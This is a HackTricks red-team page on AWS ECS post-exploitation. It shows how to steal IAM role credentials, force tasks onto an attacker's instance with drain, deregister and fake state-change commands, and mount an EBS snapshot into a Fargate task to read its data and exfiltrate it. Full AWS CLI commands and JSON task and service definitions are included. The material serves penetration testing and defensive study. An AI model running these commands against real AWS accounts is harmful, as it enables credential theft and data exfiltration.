AWS - ECS Post Exploitation

Reading time: 6 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

ECS

For more information check:

AWS - ECS Enum

Host IAM Roles

In ECS an IAM role can be assigned to the task running inside the container. If the task is run inside an EC2 instance, the EC2 instance will have another IAM role attached to it.
Which means that if you manage to compromise an ECS instance you can potentially obtain the IAM role associated to the ECR and to the EC2 instance. For more info about how to get those credentials check:

Cloud SSRF - HackTricks

caution

Note that if the EC2 instance is enforcing IMDSv2, according to the docs, the response of the PUT request will have a hop limit of 1, making impossible to access the EC2 metadata from a container inside the EC2 instance.

Privesc to node to steal other containers creds & secrets

But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or access the docker socket, you can check which other containers are being run, and even get inside of them and steal their IAM roles attached.

Making containers run in current host

Furthermore, the EC2 instance role will usually have enough permissions to update the container instance state of the EC2 instances being used as nodes inside the cluster. An attacker could modify the state of an instance to DRAINING, then ECS will remove all the tasks from it and the ones being run as REPLICA will be run in a different instance, potentially inside the attackers instance so he can steal their IAM roles and potential sensitive info from inside the container.

bash
aws ecs update-container-instances-state \
    --cluster <cluster> --status DRAINING --container-instances <container-instance-id>

The same technique can be done by deregistering the EC2 instance from the cluster. This is potentially less stealthy but it will force the tasks to be run in other instances:

bash
aws ecs deregister-container-instance \
    --cluster <cluster> --container-instance <container-instance-id> --force

A final technique to force the re-execution of tasks is by indicating ECS that the task or container was stopped. There are 3 potential APIs to do this:

bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
    --status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Steal sensitive info from ECR containers

The EC2 instance will probably also have the permission ecr:GetAuthorizationToken allowing it to download images (you could search for sensitive info in them).

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.

  • Needs (minimum):

    • ecs:RegisterTaskDefinition
    • One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
    • iam:PassRole on:
      • ECS infrastructure role used for volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)
      • Task execution/Task roles referenced by the task definition
    • If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
  • Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.

Steps (Fargate example):

  1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
bash
aws iam create-role --role-name ecsInfrastructureRole \
  --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
  --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Register a task definition with a volume marked configuredAtLaunch and mount it in the container. Example (prints the secret then sleeps):
json
{
  "family": "ht-ebs-read",
  "networkMode": "awsvpc",
  "requiresCompatibilities": ["FARGATE"],
  "cpu": "256",
  "memory": "512",
  "executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
  "containerDefinitions": [
    {"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
     "entryPoint":["/bin/sh","-c"],
     "command":["cat /loot/secret.txt || true; sleep 3600"],
     "logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
     "mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
    }
  ],
  "volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Create or update a service passing the EBS snapshot via volumeConfigurations.managedEBSVolume (requires iam:PassRole on the infra role). Example:
json
{
  "cluster": "ht-ecs-ebs",
  "serviceName": "ht-ebs-svc",
  "taskDefinition": "ht-ebs-read",
  "desiredCount": 1,
  "launchType": "FARGATE",
  "networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
  "volumeConfigurations": [
    {"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
  ]
}
  1. When the task starts, the container can read the snapshot contents at the configured mount path (e.g., /loot). Exfiltrate via the task’s network/logs.

Cleanup:

bash
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read